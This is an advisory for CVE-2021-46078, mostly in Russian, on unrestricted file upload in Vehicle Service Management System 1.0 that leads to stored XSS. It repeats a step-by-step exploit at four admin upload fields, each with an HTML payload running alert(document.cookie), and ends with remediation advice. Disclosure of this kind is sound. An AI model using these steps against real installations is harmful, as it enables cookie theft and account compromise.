CVE-2021-46078
Exploit Title: Vehicle Service Management System - 'Multiple' File upload Leads to Stored Cross-Site Scripting
CVE: CVE-2021-46078
CVSS: 4.8 СРЕДНИЙ
Ссылки:
Описание:
В Vehicle Service Management System 1.0 от Sourcecodester существует уязвимость неограниченной загрузки файлов. Удаленный злоумышленник может загрузить вредоносные файлы, что приводит к уязвимости сохраненного межсайтового сценария (Stored XSS).
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел My Account http://localhost/vehicle_service/admin/?page=user
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например, как XSS.html
- В разделе My Account введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку обновления.
- Откройте изображение аватара в новой вкладке.
- Срабатывает вредоносный JavaScript-код.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел User List и нажмите кнопку Create New.
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например, как XSS.html
- На странице Create New User введите все необходимые данные и выберите HTML-файл в поле Avatar.
- Нажмите кнопку Save.
- Откройте изображение аватара в новой вкладке.
- Срабатывает вредоносный JavaScript-код.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например, как XSS.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле System Logo.
- Нажмите кнопку обновления.
- Откройте изображение System Logo в новой вкладке.
- Срабатывает вредоносный JavaScript-код.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Эксплойт:
- Войдите в панель администратора http://localhost/vehicle_service/admin
- Перейдите в раздел Settings http://localhost/vehicle_service/admin/?page=system_info
Полезная нагрузка:
<!DOCTYPE html>
<html>
<title>Stored XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
- Сохраните приведенный выше HTML-код, например, как XSS.html
- В разделе Settings введите все необходимые данные и выберите HTML-файл в поле Website Cover.
- Нажмите кнопку обновления.
- Откройте изображение Website Cover в новой вкладке.
- Срабатывает вредоносный JavaScript-код.
Воздействие:
Злоумышленник может загрузить вредоносный файл на нескольких конечных точках, что приводит к сохраненному межсайтовому сценарию (Stored XSS).
Рекомендации по устранению:
Рекомендуется реализовать следующее:
- Никогда не принимайте имя файла и его расширение напрямую без фильтра белого списка.
- Если нет необходимости в символах Unicode, настоятельно рекомендуется принимать только буквенно-цифровые символы и только одну точку в качестве ввода для имени файла и расширения.
- Ограничьте размер файла максимальным значением, чтобы предотвратить атаки типа «отказ в обслуживании».
- Загружаемый каталог не должен иметь разрешения на выполнение.
- Не полагайтесь только на проверку на стороне клиента.